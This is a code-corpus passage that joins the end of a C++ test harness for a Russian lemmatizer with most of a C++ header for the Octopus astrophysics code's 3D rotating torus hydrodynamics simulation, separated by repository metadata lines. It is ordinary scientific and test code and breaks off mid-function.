print8(line); printf( "\n" ); for( int i=1; i<nroot-1; ++i ) { HGREN_TREENODE hNode = sol_GetRoot( hs, 0, i ); const int EntryID = sol_GetNodeIEntry( hEngine, hNode ); char required_lemma[100]; sol_GetEntryName8( hEngine, EntryID, required_lemma ); if( strcmp( required_lemma, "???" )==0 || strcmp( required_lemma, "unknownentry" )==0 || strcmp( required_lemma, "number_" )==0 ) continue; char got_lemma[100]; sol_GetLemmaString8( hList, i-1, got_lemma, sizeof(got_lemma) ); total_word_count++; if( stricmp8(got_lemma,required_lemma)!=0 ) { printf( "Mismatch: got=" ); print8(got_lemma); printf( ", required=" ); print8(required_lemma); printf( "\n" ); fprintf( log_file, "\n%s\n", sentence ); fprintf( log_file, "Mismatch: got=%s, required=%s\n", got_lemma, required_lemma ); fflush(log_file); n_err++; } } } sol_DeleteLemmas(hList); } sol_DeleteResPack(hs); } // пропускаем строки до токена $end while( !feof(file) ) { reads( line, 1000, file ); if( strncmp( line, "$end", 4 )==0 ) break; } } fclose(file); fclose(log_file); printf( "Total number of words=%d\n", total_word_count ); printf( "Number of mismatching lemmas=%d\n", n_err ); printf( "Error ratio=%5.2f%%\n", float(n_err)*100.0F/float(total_word_count) ); return; } #endif int main( int argc, char* argv[] ) { int error_count=0; bool stop_on_first_error=false; FILE *out = fopen( "errors.txt", "wt" ); if( out==NULL ) { printf( "Can not open 'errors.txt' file for writing\n" ); exit(1); } const char *dict_path=NULL; bool check_model=false; const char *lemmas2_filename = "lemmas2.txt"; const char *lemmas1_filename = "lemmas1.txt"; const char *language = "russian"; for( int i=1; i<argc; ++i ) { if( strcmp( argv[i]+1, "dict" )==0 ) dict_path = argv[++i]; else if( strcmp( argv[i]+1, "file1" )==0 ) lemmas1_filename = argv[++i]; else if( strcmp( argv[i]+1, "file2" )==0 ) lemmas2_filename = argv[++i]; else if( strcmp( argv[i]+1, "stop_on_first_error" )==0 ) stop_on_first_error=true; else if( strcmp( argv[i]+1, "language" )==0 ) language = argv[++i]; else if( strcmp( argv[i], "check_model" )==0 ) check_model = true; else { printf( "Invalid option: %s\n", argv[i] ); exit(1); } } if( dict_path==NULL ) { #if defined _WIN32 #if defined _M_X64 dict_path = "..\\..\\..\\..\\..\\..\\bin-windows64\\lemmatizer.db"; #else dict_path = "..\\..\\..\\..\\..\\..\\bin-windows\\lemmatizer.db"; #endif #elif defined _DARWIN #if __WORDSIZE==64 || __SIZEOF_POINTER__==8 || __amd64__==1 dict_path = "../../../../../../bin-mac64/lemmatizer.db"; #else dict_path = "../../../../../../bin-mac/lemmatizer.db"; #endif #else #if __WORDSIZE==64 || __SIZEOF_POINTER__==8 || __amd64__==1 dict_path = "../../../../../../bin-linux64/lemmatizer.db"; #else dict_path = "../../../../../../bin-linux/lemmatizer.db"; #endif #endif } #if defined CHECK_MODEL if( check_model ) { CheckModel(dict_path,lemmas1_filename,"e:\\MVoice\\lem\\tmp\\lemmatizer.log",language); return 0; } #endif for( int pass=0; pass<2 && error_count==0; pass++ ) { int flags=0; switch(pass) { case 0: flags=LEME_DEFAULT; break; case 1: flags=LEME_FASTEST; break; } printf( "Loading the lemmatizator from %s\n", dict_path ); HLEM hEngine = sol_LoadLemmatizatorA( dict_path, flags ); if( hEngine==NULL ) { printf( "Could not load the lemmatizator from %s\n", dict_path ); exit(1); } char utf8[256]; if( strcmp(language,"russian")==0 ) { #if defined _WIN32 || defined _WINDOWS || defined __WIN32__ || defined WIN32 // Проверим ASCII-версию функций лемматизации const char ascii0[]="\xEA\xEE\xF8\xEA\xEE\xFE"; char ascii[32]; int nlemA = sol_GetLemmaA( hEngine, ascii0, ascii, sizeof(ascii) ); if( strcmp( ascii, "\xCA\xCE\xD8\xCA\xC0" )!=0 ) { fprintf( stdout, "Lemmatization error: word=%s result=%s\n", ascii0, ascii ); fflush(stdout); error_count++; if( stop_on_first_error ) exit(1); } #endif // Проверим utf8-версию функций лемматизации const char *words[]={ "ДНК-тестирование", "ДНК-тестированием", "языковыкручивающее", "абы кого", "абрикосовича", "аарона", "АББАТСТВА", "Горрилой", "кошками", "галактическою", "ужасен", "верифицировали", "воспроизведи", NULL }; int i=0; while( words[i] ) { const char *word = words[i]; int nlem = sol_GetLemma8( hEngine, word, utf8, sizeof(utf8) ); print8(word); printf( " -> " ); print8(utf8); printf( "\n" ); i++; } const char *words2[]={ "ярко", "абы кого", "абстрактно", "роем", "простынь", NULL }; i=0; while( words2[i] ) { const char *word = words2[i]; print8(word); printf( " --> " ); HLEMMAS hList = sol_GetLemmas8( hEngine, word ); if( hList!=NULL ) { int nlemma = sol_CountLemmas(hList); for( int i=0; i<nlemma; ++i ) { sol_GetLemmaString8( hList, i, utf8, sizeof(utf8) ); print8(utf8); printf( " " ); } sol_DeleteLemmas(hList); printf( "\n" ); } i++; } } // Test the cases when a given word can be lemmatized producing 2 alternative lemmas. // These cases are few in comparison to 1-to-1 mapping cases. FILE *f2 = fopen( lemmas2_filename, "rt" ); if( f2!=NULL ) { char str[512]; // Optionally skip the BOM fread( str, 3, 1, f2 ); if( str[0]!=(char)0xef || str[1]!=(char)0xbb || str[2]!=(char)0xbf ) fseek( f2, 0, SEEK_SET ); int count=0; while( !feof(f2) ) { memset( str, 0, sizeof(str) ); if( fgets( str, 511, f2 )==NULL ) break; int l = strlen(str); if( str[l-1]=='\n' ) str[l-1]=0; if( str[l-2]=='\r' ) str[l-2]=0; char * p1 = strchr( str, ';' ); char * p2 = strrchr( str, ';' ); std::string word( str, p1 ); std::string lemma1( p1+1, p2 ); std::string lemma2( p2+1 ); HLEMMAS hList = sol_GetLemmas8( hEngine, word.c_str() ); if( hList!=NULL ) { int nlemma = sol_CountLemmas(hList); if( nlemma!=2 ) { for( int q=0; q<2; ++q ) { FILE *f = q==0 ? stdout : out; fprintf( f, "Lemmatization error: word=" ); fprint8( f, word.c_str() ); fprintf( f, " results in %d lemmas, 2 are expected\n", nlemma ); fflush(f); } error_count++; if( stop_on_first_error ) exit(1); continue; } bool match0=false, match1=false; for( int i=0; i<nlemma; ++i ) { sol_GetLemmaString8( hList, i, utf8, sizeof(utf8) ); if( lemma1==utf8 ) { match0=true; } else if( lemma2==utf8 ) { match1=true; } } if( !match0 || !match1 ) { for( int q=0; q<2; ++q ) { FILE *f = q==0 ? stdout : out; fprintf( f,"Incorrect lemmatization: word=" ); fprint8(f,word.c_str()); fprintf( f, " lemma=" ); fprint8(f,utf8); fprintf( f, " must be[0]=" ); fprint8( f, lemma1.c_str()); fprintf( f, " must be[1]=" ); fprint8( f, lemma2.c_str()); fprintf( f, "\n" ); fflush(f); } error_count++; if( stop_on_first_error ) exit(1); continue; } sol_DeleteLemmas(hList); } if( count && !(count%100) ) printf( "%d words processed\n", count ); count++; } fclose(f2); f2=NULL; } else { printf( "Can not open file %s\n", lemmas2_filename ); exit(1); } // Test the lemmatization of words with with 1-to-1 mapping from lexeme to lemma. FILE *f = fopen( lemmas1_filename, "rt" ); if( f!=NULL ) { char str[512]; int count=0; // Skip optionally BOM fread( str, 3, 1, f ); if( str[0]!=(char)0xef || str[1]!=(char)0xbb || str[2]!=(char)0xbf ) fseek( f, 0, SEEK_SET ); while( !feof(f) ) { memset( str, 0, sizeof(str) ); if( fgets( str, 511, f )==NULL ) break; int l = strlen(str); if( str[l-1]=='\n' ) str[l-1]=0; if( str[l-2]=='\r' ) str[l-2]=0; char * p1 = strchr( str, ';' ); std::string word( str, p1 ); std::string lemma( p1+1 ); int nlem = sol_GetLemma8( hEngine, word.c_str(), utf8, sizeof(utf8) ); /* print8(word.c_str()); printf( " -> " ); print8(utf8); printf( "\n" ); */ if( count && !(count%1000) ) printf( "%d words processed\n", count ); count++; if( nlem!=1 ) { for( int q=0; q<2; ++q ) { FILE *f = q==0 ? stdout : out; fprintf( f, "Lemmatization error: word=" ); fprint8(f,word.c_str()); fprintf( f, " results in %d lemmas, %d is expected\n", nlem, 1 ); fflush(f); } error_count++; if( stop_on_first_error ) exit(1); continue; } if( strcmp( utf8, lemma.c_str() )!=0 ) { for( int q=0; q<2; ++q ) { FILE *f = q==0 ? stdout : out; fprintf( f,"Incorrect lemmatization: word=" ); fprint8(f,word.c_str()); fprintf( f," lemma=" ); fprint8(f,utf8); fprintf( f," mustbe=" ); fprint8(f,lemma.c_str()); fprintf( f, "\n" ); fflush(f); } error_count++; if( stop_on_first_error ) exit(1); continue; } } fclose(f); f=NULL; } else { printf( "Can not open file %s\n", lemmas1_filename ); exit(1); } sol_DeleteLemmatizator(hEngine); } if( error_count==0 ) { printf( "No errors detected\n" ); } else { if( error_count==1 ) printf( "There is 1 error\n" ); else printf( "There are %d errors\n", error_count ); } fclose( out ); return 0; }
22.188319
140
0.526429
[ "vector" ]
bbc3f4352aeb8fa6d85a1368e288a0165251a7a5
41,738
hpp
C++
applications/3d_torus/3d_torus.hpp
STEllAR-GROUP/octopus
a1f910d63380e4ebf91198ac2bc2896505ce6146
[ "BSL-1.0" ]
4
2016-01-30T14:47:21.000Z
2017-11-19T19:03:19.000Z
applications/3d_torus/3d_torus.hpp
STEllAR-GROUP/octopus
a1f910d63380e4ebf91198ac2bc2896505ce6146
[ "BSL-1.0" ]
null
null
null
applications/3d_torus/3d_torus.hpp
STEllAR-GROUP/octopus
a1f910d63380e4ebf91198ac2bc2896505ce6146
[ "BSL-1.0" ]
null
null
null
//////////////////////////////////////////////////////////////////////////////// // Copyright (c) 2012 Zach Byerly // Copyright (c) 2012 Bryce Adelstein-Lelbach // // Distributed under the Boost Software License, Version 1.0. (See accompanying // file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) //////////////////////////////////////////////////////////////////////////////// #if !defined(OCTOPUS_9BA6055C_E7A9_4A16_8A24_B8B410AA1A14) #define OCTOPUS_9BA6055C_E7A9_4A16_8A24_B8B410AA1A14 // http://www.vistrails.org/index.php/User:Tohline/Apps/PapaloizouPringleTori #include <octopus/state.hpp> #include <octopus/vector2d.hpp> #include <octopus/driver.hpp> #include <octopus/science.hpp> #include <octopus/engine/engine_interface.hpp> #include <octopus/engine/ini.hpp> #include <octopus/octree/octree_reduce.hpp> #include <octopus/octree/octree_apply_leaf.hpp> #include <octopus/math.hpp> #include <octopus/global_variable.hpp> #include <octopus/io/multi_writer.hpp> #include <octopus/io/fstream.hpp> #if defined(OCTOPUS_HAVE_SILO) #include <octopus/io/silo.hpp> #endif #include <boost/format.hpp> #include <boost/atomic.hpp> #include <boost/math/constants/constants.hpp> #include <hpx/include/plain_actions.hpp> // FIXME: Move shared code from the drivers into a shared object/headers. // FIXME: Names. // FIXME: Proper configuration. // FIXME: Globals are bad mkay. enum rotational_direction { rotate_clockwise, rotate_counterclockwise }; enum momentum_conservation { angular_momentum_conservation, cartesian_momentum_conservation }; /////////////////////////////////////////////////////////////////////////////// double const initial_cfl_factor = 1.0e-2; double const cfl_factor = 0.4; /// Gravitation constant. double const G = 1.0; /// Mass of the central object. double const M_C = 1.0; /// Outer radius of the torus. double const R_outer = 1.0; /// Polytropic index. double const gamma_ = 1.333; double const polytropic_n = 3.0; /// Amplitude of the perturbation. double const kick_amplitude = 1e-2; /// Angular speed of the frame, e.g. how fast the grid rotates. OCTOPUS_GLOBAL_VARIABLE((double), omega); /// Direction of the torus' rotation. OCTOPUS_GLOBAL_VARIABLE((rotational_direction), rot_dir); /// Advection scheme. OCTOPUS_GLOBAL_VARIABLE((momentum_conservation), mom_cons); /// If true, a rotating frame of reference is used. OCTOPUS_GLOBAL_VARIABLE((bool), rotating_grid); /// Polytropic constant. OCTOPUS_GLOBAL_VARIABLE((double), kappa); /// The ratio of the inner radius to the outer radius, e.g. the thinnness of the /// torus. OCTOPUS_GLOBAL_VARIABLE((double), X_in); /// Mode of the perturbation. OCTOPUS_GLOBAL_VARIABLE((boost::uint64_t), kick_mode); /////////////////////////////////////////////////////////////////////////////// /// Mass density double& rho(octopus::state& u) { return u[0]; } double const& rho(octopus::state const& u) { return u[0]; } /// Momentum density (X-axis) double& momentum_x(octopus::state& u) { return u[1]; } double const& momentum_x(octopus::state const& u) { return u[1]; } /// Momentum density (Y-axis) double& momentum_y(octopus::state& u) { return u[2]; } double const& momentum_y(octopus::state const& u) { return u[2]; } /// Momentum density (Z-axis) double& momentum_z(octopus::state& u) { return u[3]; } double const& momentum_z(octopus::state const& u) { return u[3]; } /// Total energy of the gas double& total_energy(octopus::state& u) { return u[4]; } double const& total_energy(octopus::state const& u) { return u[4]; } /// Entropy tracer double& tau(octopus::state& u) { return u[5]; } double const& tau(octopus::state const& u) { return u[5]; } enum { radial_momentum_idx = 6 }; double& angular_momentum(octopus::state& u) { return u[7]; } double const& angular_momentum(octopus::state const& u) { return u[7]; } double radius(octopus::array<double, 3> const& v) { return std::sqrt(v[0]*v[0] + v[1]*v[1]); } double radius(double x, double y) { return std::sqrt(x*x + y*y); } double radial_momentum( octopus::state const& u , octopus::array<double, 3> const& v ) { switch (mom_cons) { case angular_momentum_conservation: return u[radial_momentum_idx]; case cartesian_momentum_conservation: { double const R = radius(v); return momentum_x(u)*v[0]/R + momentum_y(u)*v[1]/R; } default: break; } OCTOPUS_ASSERT(false); return 0.0; } double tangential_momentum( octopus::state const& u , octopus::array<double, 3> const& v ) { double const R = radius(v); switch (mom_cons) { case angular_momentum_conservation: return angular_momentum(u)/R - rho(u)*R*omega; case cartesian_momentum_conservation: return momentum_y(u)*v[0]/R - momentum_x(u)*v[1]/R - rho(u)*R*omega; default: break; } OCTOPUS_ASSERT(false); return 0.0; } template <octopus::axis Axis> double gravity(octopus::array<double, 3> const& v) { double const x = v[0]; double const y = v[1]; double const z = v[2]; double const r = std::sqrt(x*x + y*y + z*z); double const F = -G*M_C/(r*r); switch (Axis) { case octopus::x_axis: return F*(x/r); case octopus::y_axis: return F*(y/r); case octopus::z_axis: return F*(z/r); default: break; } OCTOPUS_ASSERT(false); return 0.0; } double radial_gravity(octopus::array<double, 3> const& v) { double const x = v[0]; double const y = v[1]; double const z = v[2]; double const r = std::sqrt(x*x + y*y + z*z); double const R = radius(v); double const F = -G*M_C/(r*r); return F*(R/r); } template <octopus::axis Axis> double velocity( octopus::state const& u , octopus::array<double, 3> const& v ) { double const x = v[0]; double const y = v[1]; double const R = radius(v); double const st = tangential_momentum(u, v); double const sr = radial_momentum(u, v); switch (Axis) { case octopus::x_axis: return (x*sr-y*st)/R/rho(u); case octopus::y_axis: return (y*sr+x*st)/R/rho(u); case octopus::z_axis: return momentum_z(u)/rho(u); default: break; } OCTOPUS_ASSERT(false); return 0.0; } double kinetic_energy( octopus::state const& u , octopus::array<double, 3> const& v ) { double const sr = radial_momentum(u, v); double const st = tangential_momentum(u, v); return 0.5 * (sr*sr + st*st + momentum_z(u)*momentum_z(u)) / rho(u); } /// Gas pressure - polytropic equation of state. double pressure(octopus::state const& u) { return kappa * std::pow(rho(u), gamma_); } double speed_of_sound(octopus::state const& u) { OCTOPUS_ASSERT(rho(u) > 0.0); OCTOPUS_ASSERT(pressure(u) >= 0.0); return std::sqrt(gamma_ * pressure(u) / rho(u)); } // Omega at the radius with the highest pressure. double omega_R_0() { double const j_H = std::sqrt(2.0*X_in/(1.0+X_in)); double const j_here = j_H*std::sqrt(G*M_C*R_outer); return (G*M_C)*(G*M_C)/(j_here*j_here*j_here); } void initialize_omega() { if (rotating_grid) omega = omega_R_0(); else omega = 0.0; } double orbital_period() { double const pi = boost::math::constants::pi<double>(); return 2.0*pi/omega_R_0(); } double z_max(double R) { using std::pow; using std::sqrt; double const X = R/R_outer; double const j_H = sqrt(2.0*X_in/(1.0+X_in)); double const C = 1.0/(1.0+X_in); double const tmp = pow(C+0.5*(j_H/X)*(j_H/X), -2.0) - X*X; if (tmp <= 0.0) return 0.0; return R_outer*sqrt(tmp); } double rho_max() { using std::pow; using std::sqrt; double const n = polytropic_n; double const R_0 = R_outer*2.0*X_in/(1.0+X_in); double const j_H = sqrt(2.0*X_in/(1.0+X_in)); double const X_max = R_0/R_outer; double const C = 1.0/(1.0+X_in); double const H_max = 1.0/sqrt(X_max*X_max) - 0.5*(j_H/X_max)*(j_H/X_max)-C; return pow(H_max/((n+1)*kappa), n); } double density_floor() { return 1e-10 * rho_max(); } /////////////////////////////////////////////////////////////////////////////// // Kernels. struct initialize : octopus::trivial_serialization { // {{{ void operator()(octopus::octree_server& U) const { /* boost::uint64_t const gnx = octopus::config().grid_node_length; for (boost::uint64_t i = 0; i < gnx; ++i) for (boost::uint64_t j = 0; j < gnx; ++j) for (boost::uint64_t k = 0; k < gnx; ++k) { if (U.x_center(i) > 0.0 && U.y_center(j) > 0.0) rho(U(i, j, k)) = 1.0; else rho(U(i, j, k)) = 1.0e-10; momentum_x(U(i, j, k)) = 0.0; momentum_y(U(i, j, k)) = 0.0; momentum_z(U(i, j, k)) = 0.0; total_energy(U(i, j, k)) = 0.0; tau(U(i, j, k)) = 0.0; angular_momentum(U(i, j, k)) = 0.0; U(i, j, k)[radial_momentum_idx] = 0.0; } */ using std::pow; using std::sqrt; using std::atan2; using std::cos; double const ei0 = 1.0; double const tau0 = pow(ei0, 1.0 / gamma_); double const rho1 = density_floor(); double const ei1 = density_floor(); double const tau1 = pow(ei1, 1.0 / gamma_); double const R_inner = X_in * R_outer; double const C = 1.0/(1.0+X_in); double const j_H = sqrt(2.0*X_in/(1.0+X_in)); // Conversion to "real" units (REVIEW: What does this mean?) double const j_here = j_H*sqrt(G*M_C*R_outer); boost::uint64_t const gnx = octopus::config().grid_node_length; for (boost::uint64_t i = 0; i < gnx; ++i) { for (boost::uint64_t j = 0; j < gnx; ++j) { for (boost::uint64_t k = 0; k < gnx; ++k) { double const x_here = U.x_center(i); double const y_here = U.y_center(j); // REVIEW: Why do we do std::abs() here? double const z_here = std::fabs(U.z_center(k)); double const R = radius(x_here, y_here); // DEBUGGING //std::cout << "r = " << R << "\n" // << "R_inner = " << R_inner << "\n" // << "R_outer = " << R_outer << "\n"; if ((R_inner <= R) && (R_outer >= R)) { // DEBUGGING //std::cout << "z = " << z_here << "\n" // << "z_max = " << z_max << "\n"; if (z_here <= z_max(R)) { double const X = R/R_outer; double const z = z_here/R_outer; double const H_here = 1.0/sqrt(X*X+z*z) - 0.5*(j_H/X)*(j_H/X) - C; double const n = polytropic_n; double rho_here = (pow(H_here/((n+1)*kappa), n)) * (G*M_C/R_outer); OCTOPUS_ASSERT(rho_here > 0.0); double const theta_here = atan2(y_here, x_here); if (kick_mode != 0) rho_here *= 1.0 + ( kick_amplitude * cos(kick_mode*theta_here)); OCTOPUS_ASSERT(rho_here > 0.0); rho(U(i, j, k)) = rho_here; double& mom_x = momentum_x(U(i, j, k)); double& mom_y = momentum_y(U(i, j, k)); switch (rot_dir) { case rotate_counterclockwise: { mom_x = (-y_here)*rho_here*j_here/pow(R, 2); mom_y = (+x_here)*rho_here*j_here/pow(R, 2); break; } case rotate_clockwise: { mom_x = (+y_here)*rho_here*j_here/pow(R, 2); mom_y = (-x_here)*rho_here*j_here/pow(R, 2); break; } default: OCTOPUS_ASSERT(false); } total_energy(U(i, j, k)) = ei0; tau(U(i, j, k)) = tau0; angular_momentum(U(i, j, k)) = j_here*rho_here; } else { rho(U(i, j, k)) = rho1; momentum_x(U(i, j, k)) = 0.0; momentum_y(U(i, j, k)) = 0.0; total_energy(U(i, j, k)) = ei1; tau(U(i, j, k)) = tau1; angular_momentum(U(i, j, k)) = 0.0; } } else { rho(U(i, j, k)) = rho1; momentum_x(U(i, j, k)) = 0.0; momentum_y(U(i, j, k)) = 0.0; total_energy(U(i, j, k)) = ei1; tau(U(i, j, k)) = tau1; angular_momentum(U(i, j, k)) = 0.0; } // DEBUGGING //std::cout << "(" << x_here // << ", " << y_here // << ", " << z_here << ") == " // << rho(U(i, j, k)) << "\n"; momentum_z(U(i, j, k)) = 0.0; U(i, j, k)[radial_momentum_idx] = 0.0; // rho(U(i, j, k)) = (std::max)(rho(U(i, j, k)) // , density_floor()); } } } } }; // }}} struct enforce_outflow : octopus::trivial_serialization { void operator()( octopus::octree_server& U , octopus::state& u , octopus::array<double, 3> const& loc , octopus::face f ) const { /* std::cout << "ENFORCE OUTFLOW: (" << loc[0] << ", " << loc[1] << ", " << loc[2] << ") " << f; */ switch (invert(f)) { case octopus::XU: { if (velocity<octopus::x_axis>(u, loc) > 0.0) { // std::cout << " OUTFLOW"; total_energy(u) -= 0.5*momentum_x(u)*momentum_x(u)/rho(u); momentum_x(u) = 0.0; //double const vy = velocity<octopus::y_axis>(u, loc); double const R = radius(loc); angular_momentum(u) = loc[0]*velocity<octopus::y_axis>(u, loc)*rho(u); u[radial_momentum_idx] = loc[1]*velocity<octopus::y_axis>(u, loc)*rho(u)/R; } break; } case octopus::XL: { if (velocity<octopus::x_axis>(u, loc) < 0.0) { // std::cout << " OUTFLOW"; total_energy(u) -= 0.5*momentum_x(u)*momentum_x(u)/rho(u); momentum_x(u) = 0.0; //double const vy = velocity<octopus::y_axis>(u, loc); double const R = radius(loc); angular_momentum(u) = loc[0]*velocity<octopus::y_axis>(u, loc)*rho(u); u[radial_momentum_idx] = loc[1]*velocity<octopus::y_axis>(u, loc)*rho(u)/R; } break; } case octopus::YU: { if (velocity<octopus::y_axis>(u, loc) > 0.0) { // std::cout << " OUTFLOW"; total_energy(u) -= 0.5*momentum_y(u)*momentum_y(u)/rho(u); momentum_y(u) = 0.0; //double const vx = velocity<octopus::x_axis>(u, loc); double const R = radius(loc); angular_momentum(u) = -loc[1]*velocity<octopus::x_axis>(u, loc)*rho(u); u[radial_momentum_idx] = loc[0]*velocity<octopus::x_axis>(u, loc)*rho(u)/R; } break; } case octopus::YL: { if (velocity<octopus::y_axis>(u, loc) < 0.0) { // std::cout << " OUTFLOW"; total_energy(u) -= 0.5*momentum_y(u)*momentum_y(u)/rho(u); momentum_y(u) = 0.0; //double const vx = velocity<octopus::x_axis>(u, loc); double const R = radius(loc); angular_momentum(u) = -loc[1]*velocity<octopus::x_axis>(u, loc)*rho(u); u[radial_momentum_idx] = loc[0]*velocity<octopus::x_axis>(u, loc)*rho(u)/R; } break; } case octopus::ZU: { if (momentum_z(u) > 0.0) { // std::cout << " OUTFLOW"; total_energy(u) -= 0.5*momentum_z(u)*momentum_z(u)/rho(u); momentum_z(u) = 0.0; } break; } case octopus::ZL: { if (momentum_z(u) < 0.0) { // std::cout << " OUTFLOW"; total_energy(u) -= 0.5*momentum_z(u)*momentum_z(u)/rho(u); momentum_z(u) = 0.0; } break; } default: OCTOPUS_ASSERT(false); break; } // std::cout << "\n"; } }; struct enforce_lower_limits : octopus::trivial_serialization { void operator()( octopus::state& u , octopus::array<double, 3> const& v ) const { // OCTOPUS_ASSERT(rho(u) >= 0.0); rho(u) = (std::max)(rho(u), density_floor()); double const internal_energy = total_energy(u) - kinetic_energy(u, v); if (internal_energy > 0.1 * total_energy(u)) { tau(u) = std::pow((std::max)(internal_energy, density_floor()) , 1.0 / gamma_); } // Floor everything in the center of the grid. double const R_inner = X_in * R_outer; if (radius(v) < 0.5 * R_inner) { // REVIEW: Why don't we floor tau and energy? rho(u) = density_floor(); momentum_x(u) = 0.0; momentum_y(u) = 0.0; momentum_z(u) = 0.0; angular_momentum(u) = 0.0; u[radial_momentum_idx] = 0.0; } // If we're not conserving angular momentum, define angular momentum // in terms of x and y momentum. // FIXME: Not sure this belongs in this particular function, or perhaps // this hook should be renamed to be something more generic than // enforce_lower_limits. else if (mom_cons != angular_momentum_conservation) angular_momentum(u) = momentum_y(u)*v[0] - momentum_x(u)*v[1]; } }; struct reflect_z : octopus::trivial_serialization { void operator()(octopus::state& s) const { momentum_z(s) = -momentum_z(s); } }; struct max_eigenvalue : octopus::trivial_serialization { double operator()( octopus::octree_server& U , octopus::state const& u , octopus::array<double, 3> const& v , octopus::axis a ) const { switch (a) { case octopus::x_axis: return std::fabs(velocity<octopus::x_axis>(u, v)) + speed_of_sound(u); case octopus::y_axis: return std::fabs(velocity<octopus::y_axis>(u, v)) + speed_of_sound(u); case octopus::z_axis: return std::fabs(velocity<octopus::z_axis>(u, v)) + speed_of_sound(u); default: { OCTOPUS_ASSERT(false); break; } } return 0.0; } }; // FIXME: Refactor reconstruction harness (nearly identical code is used in // octree_server for computing fluxes). struct cfl_treewise_compute_dt : octopus::trivial_serialization { cfl_treewise_compute_dt() {} double compute_x_dt(octopus::octree_server& U) const { // {{{ double dt_inv = 0.0; boost::uint64_t const bw = octopus::science().ghost_zone_length; boost::uint64_t const gnx = octopus::config().grid_node_length; /* octopus::vector2d<double> q0(gnx); octopus::vector2d<double> ql(gnx); octopus::vector2d<double> qr(gnx); */ std::vector<octopus::state> q0(gnx); std::vector<octopus::state> ql(gnx); std::vector<octopus::state> qr(gnx); for (boost::uint64_t k = bw; k < (gnx - bw); ++k) for (boost::uint64_t j = bw; j < (gnx - bw); ++j) { for (boost::uint64_t i = 0; i < gnx; ++i) { q0[i] = U(i, j, k); octopus::array<double, 3> loc = U.center_coords(i, j, k); octopus::science().conserved_to_primitive(q0[i], loc); } octopus::science().reconstruct(q0, ql, qr); for (boost::uint64_t i = bw; i < gnx - bw + 1; ++i) { octopus::array<double, 3> loc = U.x_face_coords(i, j, k); octopus::science().primitive_to_conserved(ql[i], loc); octopus::science().primitive_to_conserved(qr[i], loc); double const l_dt_inv = (max_eigenvalue()(U, ql[i], loc, octopus::x_axis)); double const r_dt_inv = (max_eigenvalue()(U, qr[i], loc, octopus::x_axis)); dt_inv = octopus::maximum(dt_inv, l_dt_inv, r_dt_inv); OCTOPUS_ASSERT(0.0 < dt_inv); } } return cfl_factor * (1.0 / (dt_inv / (U.get_dx()))); } // }}} double compute_y_dt(octopus::octree_server& U) const { // {{{ double dt_inv = 0.0; boost::uint64_t const bw = octopus::science().ghost_zone_length; boost::uint64_t const gnx = octopus::config().grid_node_length; /* octopus::vector2d<double> q0(gnx); octopus::vector2d<double> ql(gnx); octopus::vector2d<double> qr(gnx); */ std::vector<octopus::state> q0(gnx); std::vector<octopus::state> ql(gnx); std::vector<octopus::state> qr(gnx); for (boost::uint64_t i = bw; i < (gnx - bw); ++i) for (boost::uint64_t k = bw; k < (gnx - bw); ++k) { for (boost::uint64_t j = 0; j < gnx; ++j) { q0[j] = U(i, j, k); octopus::array<double, 3> loc = U.center_coords(i, j, k); octopus::science().conserved_to_primitive(q0[j], loc); } octopus::science().reconstruct(q0, ql, qr); for (boost::uint64_t j = bw; j < gnx - bw + 1; ++j) { octopus::array<double, 3> loc = U.y_face_coords(i, j, k); octopus::science().primitive_to_conserved(ql[j], loc); octopus::science().primitive_to_conserved(qr[j], loc); double const l_dt_inv = (max_eigenvalue()(U, ql[j], loc, octopus::y_axis)); double const r_dt_inv = (max_eigenvalue()(U, qr[j], loc, octopus::y_axis)); dt_inv = octopus::maximum(dt_inv, l_dt_inv, r_dt_inv); OCTOPUS_ASSERT(0.0 < dt_inv); } } return cfl_factor * (1.0 / (dt_inv / (U.get_dx()))); } // }}} double compute_z_dt(octopus::octree_server& U) const { // {{{ double dt_inv = 0.0; boost::uint64_t const bw = octopus::science().ghost_zone_length; boost::uint64_t const gnx = octopus::config().grid_node_length; /* octopus::vector2d<double> q0(gnx); octopus::vector2d<double> ql(gnx); octopus::vector2d<double> qr(gnx); */ std::vector<octopus::state> q0(gnx); std::vector<octopus::state> ql(gnx); std::vector<octopus::state> qr(gnx); for (boost::uint64_t i = bw; i < (gnx - bw); ++i) for (boost::uint64_t j = bw; j < (gnx - bw); ++j) { for (boost::uint64_t k = 0; k < gnx; ++k) { q0[k] = U(i, j, k); octopus::array<double, 3> loc = U.center_coords(i, j, k); octopus::science().conserved_to_primitive(q0[k], loc); } octopus::science().reconstruct(q0, ql, qr); for (boost::uint64_t k = bw; k < gnx - bw + 1; ++k) { octopus::array<double, 3> loc = U.z_face_coords(i, j, k); octopus::science().primitive_to_conserved(ql[k], loc); octopus::science().primitive_to_conserved(qr[k], loc); double const l_dt_inv = (max_eigenvalue()(U, ql[k], loc, octopus::z_axis)); double const r_dt_inv = (max_eigenvalue()(U, qr[k], loc, octopus::z_axis)); dt_inv = octopus::maximum(dt_inv, l_dt_inv, r_dt_inv); OCTOPUS_ASSERT(0.0 < dt_inv); } } return cfl_factor * (1.0 / (dt_inv / (U.get_dx()))); } // }}} // Compute maximum dt locally in parallel. double operator()(octopus::octree_server& U) const { // Do two directions in other threads. boost::array<hpx::future<double>, 2> xy = { { hpx::async(boost::bind (&cfl_treewise_compute_dt::compute_x_dt, this, boost::ref(U))) , hpx::async(boost::bind (&cfl_treewise_compute_dt::compute_y_dt, this, boost::ref(U))) } }; // And do one direction here. double dt_limit = compute_z_dt(U); OCTOPUS_ASSERT(0.0 < dt_limit); // Wait for the x and y computations. dt_limit = (std::min)(dt_limit, xy[0].move()); OCTOPUS_ASSERT(0.0 < dt_limit); dt_limit = (std::min)(dt_limit, xy[1].move()); OCTOPUS_ASSERT(0.0 < dt_limit); return dt_limit; } }; struct cfl_initial_dt : octopus::trivial_serialization { double operator()(octopus::octree_server& root) const { return initial_cfl_factor * root.reduce<double>(cfl_treewise_compute_dt() , octopus::minimum_functor() , std::numeric_limits<double>::max()); } }; // IMPLEMENT: Post prediction. struct cfl_predict_dt { private: double max_dt_growth_; double fudge_factor_; public: cfl_predict_dt() : max_dt_growth_(0.0), fudge_factor_(0.0) {} cfl_predict_dt( double max_dt_growth , double fudge_factor ) : max_dt_growth_(max_dt_growth) , fudge_factor_(fudge_factor) {} /// Returns the tuple (timestep N + 1 size, timestep N + gap size) octopus::dt_prediction operator()( octopus::octree_server& root ) const { OCTOPUS_ASSERT(0 < max_dt_growth_); OCTOPUS_ASSERT(0 < fudge_factor_); OCTOPUS_ASSERT(0 == root.get_level()); double next_dt = 